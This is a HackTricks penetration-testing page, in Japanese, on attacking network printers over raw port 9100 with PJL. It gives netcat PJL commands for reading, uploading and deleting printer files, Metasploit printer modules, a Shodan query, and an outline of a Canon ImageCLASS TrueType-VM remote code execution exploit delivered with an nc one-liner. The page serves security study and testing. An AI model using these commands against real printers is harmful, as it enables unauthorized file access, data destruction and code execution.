9100/tcp - PJL (Printer Job Language)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
From here: Raw printing は、ネットワークプリンターの port 9100/tcp に接続するプロセスとして定義されます。CUPS や Windows の印刷アーキテクチャがネットワークプリンターと通信する際に使用するデフォルトの方法であり、‘最も単純で、最速かつ一般的にプリンターに使用されるネットワークプロトコルとして最も信頼性が高い’と見なされています。Raw port 9100 printing、別名 JetDirect、AppSocket、PDL-datastream は実際には それ自体は印刷プロトコルではない。代わりに、送信された すべてのデータは印刷装置によって直接処理されます。これは TCP 上のパラレル接続のようなものです。LPD、IPP、SMB と対照的に、これ(raw printing)はステータスやエラーメッセージを含むクライアントへの直接のフィードバックを送信できます。そのような 双方向チャネル により、PJL、PostScript、PCL コマンドの結果へ直接アクセスできます。したがって、ほとんどのネットワークプリンターがサポートしている raw port 9100 printing は、PRET や PFT を用いたセキュリティ解析のチャネルとして利用されます。
If you want to learn more about hacking printers read this page.
デフォルトポート: 9100
9100/tcp open jetdirect
Enumeration
手動
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@PJL INFO ID # ID (Brand an version): Brother HL-L2360D series:84U-F75:Ver.b.26
@PJL INFO PRODINFO #Product info
@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 #List dir
@PJL INFO VARIABLES #Env variales
@PJL INFO FILESYS #?
@PJL INFO TIMEOUT #Timeout variables
@PJL RDYMSG #Ready message
@PJL FSINIT
@PJL FSDIRLIST
@PJL FSUPLOAD #Useful to upload a file
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
自動
nmap -sV --script pjl-ready-message -p <PORT> <IP>
msf> use auxiliary/scanner/printer/printer_env_vars
msf> use auxiliary/scanner/printer/printer_list_dir
msf> use auxiliary/scanner/printer/printer_list_volumes
msf> use auxiliary/scanner/printer/printer_ready_message
msf> use auxiliary/scanner/printer/printer_version_info
msf> use auxiliary/scanner/printer/printer_download_file
msf> use auxiliary/scanner/printer/printer_upload_file
msf> use auxiliary/scanner/printer/printer_delete_file
プリンター Hacking tool
プリンターを悪用するために使用するツールはこちら: PRET
XPS/TrueType VM exploitation (Canon ImageCLASS)
-
PJL経由でXPSを配信する:
-
@PJL ENTER LANGUAGE = XPS -
その後、同じTCP接続でXPS ZIPのバイトを送信します。
-
攻撃者のフォントを参照する最小限のXPSページ:
<Glyphs Fill="#ff000000" FontUri="/Resources/evil.ttf" FontRenderingEmSize="12" OriginX="10" OriginY="10"/>
-
RCE プリミティブ概要 (TrueType hinting VM):
-
TTF の hinting bytecode は TrueType VM によって実行される。Canon の VM はスタック境界チェックが欠如していた。
-
CINDEX: OOB スタック読み取り → info leak
-
DELTAP1: チェックされていない相対的なスタックピボット → 続く push による制御された書き込み
-
Combine
WS/RS(VM storage write/read) を使って値をステージし、ピボット後に正確な 32-bit 書き込みを行う。 -
Exploit outline:
- 上記のページを含む XPS を作成し、
/Resources/evil.ttfを含める。 fpgm/prep内でCINDEXを使用して leak し、stack_curを計算する。WSでターゲット値をステージし、DELTAP1で目的地にピボットし、RSで書き込む(例: 関数ポインタへ)ことで PC 制御を得る。
- 9100/tcp 経由で送信:
{ printf "@PJL ENTER LANGUAGE = XPS\r\n"; cat exploit.xps; } | nc -q0 <PRINTER_IP> 9100
exploit.xpsはDocuments/1/Pages/1.fpageと/Resources/evil.ttfを含む有効な XPS ZIP です。
Shodan
pjl port:9100
参考文献
- Hacking printers using fonts (Canon ImageCLASS TrueType VM bugs)
- Apple TrueType Reference Manual – Instruction Set and VM (26.6 fixed point)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

